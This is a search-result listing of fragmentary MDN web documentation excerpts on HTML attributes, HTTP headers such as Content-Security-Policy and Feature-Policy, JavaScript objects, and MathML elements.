attribute is checkbox, radio, or button. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlcanvaselement
attributes this element's
attributes include the global
attributes. height the height of the c...
...g> element, the <canvas> element requires the closing tag (</canvas>). sizing the canvas using css versus html the displayed size of the canvas can be changed using css, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted. it is better to specify your canvas dimensions by setting the width and height
attributes directly on the <canvas> elements, either directly in the html or by using javascript. maximum canvas size the maximum size of a <canvas> element is very large, but the exact size depends on the browser. the following is some data we've collected from various tests and other sources (e.g. stack overflow): browser maximum height maximum width maximum area chrome ...
autocapitalize - HTML: Hypertext Markup Language
the autocapitalize global
attribute is an enumerated
attribute that controls whether and how text input is automatically capitalized as it is entered/edited by the user. the
attribute must take one of the following values: off or none: no autocapitalization is applied (all letters default to lowercase) on or sentences: the first letter of each sentence defaults to a capital letter; all other letters default to lowercase words: the first letter of each word defaults to a capital letter; all other letters default to lowercase characters: all letters should default to uppercase the autocapitalize
attribute doesn’t affect behavior when typing on a physical keyboard. instead, it affects the behavior of other input mechanisms, such as virtual keyboards on mobile devices and voice input. the be...
...: all letters should default to uppercase the autocapitalize
attribute doesn’t affect behavior when typing on a physical keyboard. instead, it affects the behavior of other input mechanisms, such as virtual keyboards on mobile devices and voice input. the behavior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences. the autocapitalize
attribute enables authors to override that behavior per-element. the autocapitalize
attribute never causes autocapitalization to be enabled for an <input> element with a type
attribute whose value is url, email, or password. specifications specification status comment html living standardthe definition of 'autocapitalize' in that specification. living standard ...
contenteditable - HTML: Hypertext Markup Language
the contenteditable global
attribute is an enumerated
attribute indicating if the element should be editable by the user. if so, the browser modifies its widget to allow editing. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the
attribute must take one of the following values: true or an empty string, which indicates that the element is editable. false, which indicates that the element is not editable. if the
attribute is given without a value, like <label contenteditable>example label</label>, its value is treated as an empty string. ...
...://github.com/mdn/interactive-examples and send us a pull request. the
attribute must take one of the following values: true or an empty string, which indicates that the element is editable. false, which indicates that the element is not editable. if the
attribute is given without a value, like <label contenteditable>example label</label>, its value is treated as an empty string. if this
attribute is missing or its value is invalid, its value is inherited from its parent element: so the element is editable if its parent is editable. note that although its allowed values include true and false, this
attribute is an enumerated one and not a boolean one. you can set the color used to draw the text insertion caret with the css caret-color property. specifications specification ...
style - HTML: Hypertext Markup Language
the style global
attribute contains css styling declarations to be applied to the element. note that it is recommended for styles to be defined in a separate file or files. this
attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. usage note: this
attribute must not be used to convey semantic information. even if all styling is removed, a page should remain semantically correct. typically it shouldn't be used to hide irrelevant information; this should be done using the hidden
attribute. specification...
...in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'style' in that specification. recommendation snapshot of html living standard, no change from html5 html5the definition of 'style' in that specification. recommendation snapshot of html living standard. from html 4.01 specification, it is now a true global
attribute. html 4.01 specificationthe definition of 'style' in that specification. recommendation supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, <style>, and <title>. css style
attributes recommendation defines the content of the style
attribute. ...
translate - HTML: Hypertext Markup Language
the translate global
attribute is an enumerated
attribute that is used to specify whether an element's translateable
attribute values and its text node children should be translated when the page is localized, or whether to leave them unchanged. it can have the following values: empty string or "yes", which indicates that the element should be translated when the page is localized. "no", which indicates that the element must not be translated. although not all browsers recognize this
attribute, it is respected by automatic translation systems such as google translate, and may also be respected by tools used by human translators. as such it's important that web authors use this
attribute to mark content that should not be translated. ...
...o", which indicates that the element must not be translated. although not all browsers recognize this
attribute, it is respected by automatic translation systems such as google translate, and may also be respected by tools used by human translators. as such it's important that web authors use this
attribute to mark content that should not be translated. examples in this example, the translate
attribute is used to ask translation tools not to translate the company's brand name in the footer. <footer> <small>© 2020 <span translate="no">brandname</span></small> </footer> specifications specification status comment html living standardthe definition of 'translate' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the...
x-ms-acceleratorkey - HTML: Hypertext Markup Language
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the x-ms-acceleratorkey
attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated via javascript when the key(s) are pressed on a keyboard. this proprietary property is specific to internet explorer and microsoft edge. x-ms-acceleratorkey exposes a notification in the accessibility tree, for screen readers and other assistive technologies, that an accelerator key exists for that element. this
attribute does not provide the accelerator key behavior. ...
... syntax <button x-ms-acceleratorkey="[explanation of key combination]">…</button> value the accelerator key combination. for example: "ctrl+b" for a combination of the ctrl and b keys. "j" for just the j key. "ctrl+; then k" for a shortcut similar to fogbugz’s old keyboard mode. ...
Content-Language - HTTP
ding to the users' own preferred language. for example, if "content-language: de-de" is set, it says that the document is intended for german language speakers (however, it doesn't indicate the document is written in german. for example, it might be written in english as part of a language course for german speakers. if you want to indicate which language the document is written in, use the lang
attribute instead). if no content-language is specified, the default is that the content is intended for all language audiences. multiple language tags are also possible, as well as applying the content-language header to various media types and not only to textual documents. header type entity header forbidden header name no cors-safelisted response header yes ...
...ich is optionally followed by a series of subtags that refine or narrow that language's range (e.g., "en-ca" = the variety of english as communicated in canada). note: language tags are formaly defined in rfc 5646, which rely on the iso 639 standard (quite often the iso 639-1 code list) for language codes to be used. examples indicating the language a document is written in the global lang
attribute is used on html elements to indicate the language of an entire html document or parts of it. <html lang="de"> do not use this meta element like this for stating a document language: <!-- /!\ this is bad practice --> <meta http-equiv="content-language" content="de"> indicating a target audience for a resource the content-language header is used to specify the intended audience of the page, a...
CSP: object-src - HTTP
the http content-security-policy object-src directive specifies valid sources for the <object>, <embed>, and <applet> elements. to set allowed types for <object>, <embed>, and <applet> elements, use the plugin-types directive. elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't receiving new standardized features (such as the security
attributes sandbox or allow for <iframe>). therefore it is recommended to restrict this fetch-directive (e.g. explicitly set object-src 'none' if possible). csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the object-sr...
...source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data
attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the ...
Content-Security-Policy - HTTP
valid sources of application manifest files. media-src specifies valid sources for loading media using the <audio> , <video> and <track> elements. object-src specifies valid sources for the <object>, <embed>, and <applet> elements. elements controlled by object-src are perhaps coincidentally considered legacy html elements and are not receiving new standardized features (such as the security
attributes sandbox or allow for <iframe>). therefore it is recommended to restrict this fetch-directive (e.g., explicitly set object-src 'none' if possible). prefetch-src specifies valid sources to be prefetched or prerendered. script-src specifies valid sources for javascript. script-src-elem specifies valid sources for javascript <script> elements. script-src-attr specifies valid sources for j...
...rectives govern the properties of a document or worker environment to which a policy applies. base-uri restricts the urls which can be used in a document's <base> element. plugin-types restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. sandbox enables a sandbox for the requested resource similar to the <iframe> sandbox
attribute. navigation directives navigation directives govern to which locations a user can navigate or submit a form, for example. form-action restricts the urls which can be used as the target of a form submissions from a given context. frame-ancestors specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>. navigate-to restricts the urls to which...
Cross-Origin-Embedder-Policy - HTTP
ives unsafe-none this is the default value. allows the document to fetch cross-origin resources without giving explicit permission through the cors protocol or the cross-origin-resource-policy header. require-corp a document can only load resources from the same origin, or resources explicitly marked as loadable from another origin. if a cross origin resource supports cors, the crossorigin
attribute or the cross-origin-resource-policy header must be used to load it without being blocked by coep. examples certain features depend on cross-origin isolation you can only access certain features like sharedarraybuffer objects or performance.now() with unthrottled timers, if your document has a coep header with the value require-corp value set. cross-origin-embedder-policy: require-corp cross-...
... ...
Feature-Policy: autoplay - HTTP
the http feature-policy header autoplay directive controls whether the current document is allowed to autoplay media requested through the htmlmediaelement interface. when this policy is enabled and there were no user gestures, the promise returned by htmlmediaelement.play() will reject with a domexception. the autoplay
attribute on <audio> and <video> elements will be ignored. for more details on autoplay and autoplay blocking, see the article autoplay guide for media and web audio apis. syntax feature-policy: autoplay <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the f...
...owlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow
attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src
attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all ...
Feature-Policy: geolocation - HTTP
owlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow
attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src
attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all ...
...ollowing http response header to define a feature policy: feature-policy: geolocation 'self' https://example.com with an <iframe> element fastcorp inc. wants to disable geolocation for all cross-origin child frames, except for a specific <iframe>. it can do so by delivering the following http response header to define a feature policy: feature-policy: geolocation 'self' then include an allow
attribute on the <iframe> element: <iframe src="https://other.com/map" allow="geolocation"></iframe> iframe
attributes can selectively enable features in certain frames, and not in others, even if those frames contain documents from the same origin. specifications specification status comment feature policy editor's draft initial definition. ...
Feature-Policy - HTTP
ive names. <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow
attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src
attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all ...
...nformation about the amount of light in the environment around the device through the ambientlightsensor interface. autoplay controls whether the current document is allowed to autoplay media requested through the htmlmediaelement interface. when this policy is disabled and there were no user gestures, the promise returned by htmlmediaelement.play() will reject with a domexception. the autoplay
attribute on <audio> and <video> elements will be ignored. battery controls whether the use of the battery status api is allowed. when this policy is disabled, the promise returned by navigator.getbattery() will reject with a notallowederror domexception. camera controls whether the current document is allowed to use video input devices. when this policy is disabled, the promise returned by getusermedi...
X-DNS-Prefetch-Control - HTTP
efetch preference to true. also, by default, prefetching of embedded link hostnames is not performed on documents loaded over https. on firefox, this can be changed by setting the network.dns.disableprefetchfromhttps preference to false. ...
...h-control header server-side, or from individual documents, using the http-equiv
attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can reverse this setting by setting content to "on". forcing lookup of specific hostnames you can force the lookup of specific hostnames without providing specific anchors using that hostname by using the rel
attribute on the <link> element with a link type of dns-prefetch: <link rel="dns-prefetch" href="https://www.mozilla.org/contribute/"> in this example, the domain name "www.mozilla.org/contribute" will be pre-resolved. similarly, the link element can be used to resolve hostnames without providing a complete url, but only, by preceding the hostname with two slashes: <link rel="dns-prefetch" href="//www...
HTTP headers - HTTP
es where the cache-control header is not yet present. warning general warning information about possible problems. client hints http client hints are a work in progress. actual documentation can be found on the website of the http working group. accept-ch servers can advertise support for client hints using the accept-ch header field or an equivalent html <meta> element with http-equiv
attribute ([html5]). accept-ch-lifetime servers can ask the client to remember the set of client hints that the server supports for a specified period of time, to enable delivery of client hints on subsequent requests to the server’s origin ([rfc6454]). early-data indicates that the request has been conveyed in early data. content-dpr a number that indicates the ratio between physical pixels ...
...en issuing a preflight request to let the server know which http headers will be used when the actual request is made. access-control-request-method used when issuing a preflight request to let the server know which http method will be used when the actual request is made. origin indicates where a fetch originates from. timing-allow-origin specifies origins that are allowed to see values of
attributes retrieved via features of the resource timing api, which would otherwise be reported as zero due to cross-origin restrictions. do not track dnt expresses the user's tracking preference. tk indicates the tracking status of the corresponding response. downloads content-disposition indicates if the resource transmitted should be displayed inline (default behavior without the header), ...
HTTP Index - HTTP
the http content-security-policy require-sri-for directive instructs the client to require the use of subresource integrity for scripts or styles on the page. 97 csp: sandbox csp, content-security-policy, directive, http, sandbox, security the http content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <iframe> sandbox
attribute. it applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy. 98 csp: script-src csp, content, content-security-policy, directive, http, reference, script, security, script-src, source the http content-security-policy (csp) script-src directive specifies valid sources for javascri...
... http, reference, header the te request header specifies the transfer encodings the user agent is willing to accept. (you could informally call it accept-transfer-encoding, which would be more intuitive). 186 timing-allow-origin cors, http, reference, timing-allow-origin, header the timing-allow-origin response header specifies origins that are allowed to see values of
attributes retrieved via features of the resource timing api, which would otherwise be reported as zero due to cross-origin restrictions. 187 tk dnt, http, reference, response, header, tracking the tk response header indicates the tracking status that applied to the corresponding request. 188 trailer http, reference, header the trailer response header allows the se...
A re-introduction to JavaScript (JS tutorial) - JavaScript
ntains two other prominent for loops: for...of for (let value of array) { // do something with value } and for...in: for (let property in object) { // do something with object property } the && and || operators use short-circuit logic, which means whether they will execute their second operand is dependent on the first. ...
...semantically equivalent; the second is called object literal syntax and is more convenient. this syntax is also the core of json format and should be preferred at all times. object literal syntax can be used to initialize an object in its entirety: var obj = { name: 'carrot', for: 'max', // 'for' is a reserved word, use '_for' instead. details: { color: 'orange', size: 12 } };
attribute access can be chained together: obj.details.color; // orange obj['details']['size']; // 12 the following example creates an object prototype(person) and an instance of that prototype(you). function person(name, age) { this.name = name; this.age = age; } // define an object var you = new person('you', 24); // we are creating a new person named "you" aged 24. once created, an object's p...
JavaScript modules - JavaScript
we decided to keep to .js. if you really value the clarity of using .mjs for modules versus using .js for "normal" javascript files, but don't want to run into the problem described above, you could always use .mjs during development and convert them to .js during your build step. it is also worth noting that: some tools may never support .mjs, such as typescript. the <script type="module">
attribute is used to denote when a module is being pointed to, as you'll see below. exporting module features the first thing you do to get access to module features is export them. this is done using the export statement. the easiest way to use it is to place it in front of any items you want exported out of the module, for example: export const name = 'square'; export function draw(ctx, length, x, ...
...o load the html file locally (i.e. with a file:// url), you'll run into cors errors due to javascript module security requirements. you need to do your testing through a server. also, note that you might get different behavior from sections of script defined inside modules as opposed to in standard scripts. this is because modules use strict mode automatically. there is no need to use the defer
attribute (see <script>
attributes) when loading a module script; modules are deferred automatically. modules are only executed once, even if they have been referenced in multiple <script> tags. last but not least, let's make this clear — module features are imported into the scope of a single script — they aren't available in the global scope. therefore, you will only be able to access imported feat...
Array.prototype.length - JavaScript
, 2]; console.log(arr); // [ 1, 2 ] arr.length = 5; // set array length to 5 while currently 2. console.log(arr); // [ 1, 2, <3 empty items> ] arr.foreach(element => console.log(element)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array. see also relationship between length and numerical properties. ...
...ment)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array. see also relationship between length and numerical properties. property
attributes of array.prototype.length writable yes enumerable no configurable no writable: if this
attribute set to false, the value of the property cannot be changed. configurable: if this
attribute set to false, any attempts to delete the property or change its
attributes (writable, configurable, or enumerable) will fail. enumerable: if this
attribute set to true, the property will be iterated over during for or for..in loops. examples iterating over an array in the following example, the array...
Function.length - JavaScript
the length property indicates the number of parameters expected by the function. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property
attributes of function.length writable no enumerable no configurable yes description length is a property of a function object, and indicates how many arguments the function expects, i.e. the number of formal parameters. this number excludes the rest parameter and only includes parameters before the first one with a default value. by contrast, arguments.length is local to a function and pr...
...arameters. this number excludes the rest parameter and only includes parameters before the first one with a default value. by contrast, arguments.length is local to a function and provides the number of arguments actually passed to the function. data property of the function constructor the function constructor is itself a function object. its length data property has a value of 1. the property
attributes are: writable: false, enumerable: false, configurable: true. property of the function prototype object the length property of the function prototype object has a value of 0. examples using function length console.log(function.length); /* 1 */ console.log((function() {}).length); /* 0 */ console.log((function(a) {}).length); /* 1 */ console.log((function(a, b) {}).length); /...
Proxy - JavaScript
constructor', descriptor); return proxy; } var person = function(name) { this.name = name; }; var boy = extend(person, function(name, age) { this.age = age; }); boy.prototype.gender = 'm'; var peter = new boy('peter', 13); console.log(peter.gender); // "m" console.log(peter.name); // "peter" console.log(peter.age); // 13 manipulating dom nodes sometimes you want to toggle the
attribute or class name of two different elements. here's how using the set handler. let view = new proxy({ selected: null }, { set: function(obj, prop, newval) { let oldval = obj[prop]; if (prop === 'selected') { if (oldval) { oldval.set
attribute('aria-selected', 'false'); } if (newval) { newval.set
attribute('aria-selected', 'true'); } } // th...
... if (oldval) { oldval.set
attribute('aria-selected', 'false'); } if (newval) { newval.set
attribute('aria-selected', 'true'); } } // the default behavior to store the value obj[prop] = newval; // indicate success return true; } }); let i1 = view.selected = document.getelementbyid('item-1'); //giving error here, i1 is null console.log(i1.get
attribute('aria-selected')); // 'true' let i2 = view.selected = document.getelementbyid('item-2'); console.log(i1.get
attribute('aria-selected')); // 'false' console.log(i2.get
attribute('aria-selected')); // 'true' note: even if selected: !null, then giving oldval.set
attribute is not a function value correction and an extra property the products proxy object evaluates the passed value and converts i...
Reflect.defineProperty() - JavaScript
the static reflect.defineproperty() method is like object.defineproperty() but returns a boolean. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.defineproperty(target, propertykey,
attributes) parameters target the target object on which to define the property. propertykey the name of the property to be defined or modified.
attributes the
attributes for the property being defined or modified. return value a boolean indicating whether or not the property was successfully defined. exceptions a typeerror, if target is not an object. description the reflect.defineproperty method allows preci...
... ...
<mlabeledtr> - MathML
columnalign overrides the horizontal alignment of cells specified by <mtable> for this row. possible values are: left, center and right. groupalign href used to set a hyperlink to a specified uri. ...
... columnalign overrides the horizontal alignment of cells specified by <mtable> for this row. possible values are: left, center and right. groupalign href used to set a hyperlink to a specified uri. ...
<mn> - MathML
dir the text direction. possible values are either ltr (left to right) or rtl (right to left). href used to set a hyperlink to a specified uri. mathbackground the background color. ...
...ight to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this
attribute specifies the logical class of the number which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example itali...
<mover> - MathML
use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. ...
...use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. ...
<mpadded> - MathML
depth sets or increments the depth. possible values: any length or an increment/decrement (a length prefixed with "+" or "-") . height sets or increments the height. possible values: any length or an increment/decrement (a length prefixed with "+" or "-") . href used to set a hyperlink to a specified uri. lspace sets or increments the horizontal position. possible values: any length or an increment/decrement (a length prefixed with "+" or "-") . ...
... html color names. voffset sets or increments the vertical position. possible values: any length or an increment/decrement (a length prefixed with "+" or "-") . width sets or increments the width. possible values: any length or an increment/decrement (a length prefixed with "+" or "-") . pseudo-units it is possible to use the keywords "depth", "height", and "width" as a pseudo-unit for the
attributes depth, height, lspace, voffset, and width. they represent each length of the same-named dimension. prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) the mathml2 pseudo-unit lspace was allowed, which is no longer present in the mathml3 recommendation and has been removed now. examples <math> <mpadded height="+150px" width="100px" lspace="2height"> <mi> x </mi> <mo> ...
<ms> - MathML
the mathml <ms> element represents a string literal meant to be interpreted by programming languages and computer algebra systems. by default, string literals are displayed as enclosed by double quotes ("); by using the lquote and rquote
attributes, you can set custom characters to display. note that quotation marks should not be specified unless they are part of the string literal. the content of an <ms> element is not an ascii string per se, but rather a sequence of characters and <mglyph> and <malignmark> elements.
attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). lquote the opening quote character (depends on dir) to enclose the content. the default value is """. href...
...e is """. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this
attribute specifies the logical class of the identifier, which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example ...
<mspace> - MathML
the mathml <mspace> element is used to display a blank space, whose size is set by its
attributes.
attributes class, id, style provided for use with stylesheets. depth the desired depth (below the baseline) of the space (see length for values and units). height the desired height (above the baseline) of the space (see length for values and units). linebreak indicates a line-break at the space. possible values: auto (default value), newline, nobreak, goodbreak, badbreak. starting with mathml 3, it is preferred to use <mo> to control linebreaking. mathbackground the background color. you can use #rgb, #rrggbb and html color names. ...
...d units). linebreak indicates a line-break at the space. possible values: auto (default value), newline, nobreak, goodbreak, badbreak. starting with mathml 3, it is preferred to use <mo> to control linebreaking. mathbackground the background color. you can use #rgb, #rrggbb and html color names. width the desired width of the space (see length for values and units). note that some common
attributes like mathcolor, mathvariant or dir have no effect on <mspace>. examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status comment mathml 3.0the definition of 'mspace' in that specification. recommendation current specification mathml 2.0the definition of 'mspace' in that specifi...
<mtable> - MathML
the mathml <mtable> element allows you to create tables or matrices. inside a <mtable> only <mtr> and <mtd> elements may appear. these elements are similar to <table> , <tr> and <td> elements of html. note: the <mtable> element resets the displaystyle
attribute to false. if you want to use this element as an inline-block, you might want to set <mtable displaystyle="true">...</mtable>.
attributes align specifies the vertical alignment of the table with respect to its environment. possible values are: axis (default): the vertical center of the table aligns on the environment's axis (typically the minus sign). baseline: the vertical center of the table aligns on the environment's baseline. bottom: the bottom of the table aligns on the environments baseline. center: see baseline. ...
...s are: axis (default): the vertical center of the table aligns on the environment's axis (typically the minus sign). baseline: the vertical center of the table aligns on the environment's baseline. bottom: the bottom of the table aligns on the environments baseline. center: see baseline. top: the top of the table aligns on the environments baseline. in addition, values of the align
attribute can end with a rownumber (e.g. align="center 3"). this allows you to align the specified row of the table rather than the whole table. a negative integer value counts rows from the bottom of the table. starting with gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the interpretation of negative values has been corrected (bug 601436). in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamo...
<mtext> - MathML
the mathml <mtext> element is used to render arbitrary text with no notational meaning, such as comments or annotations. to display text with notational meaning, use <mi> and <mo> instead.
attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. ...
...ight to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this
attribute specifies the logical class of the identifier, which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example ...
<munder> - MathML
use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. ...
...use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. ...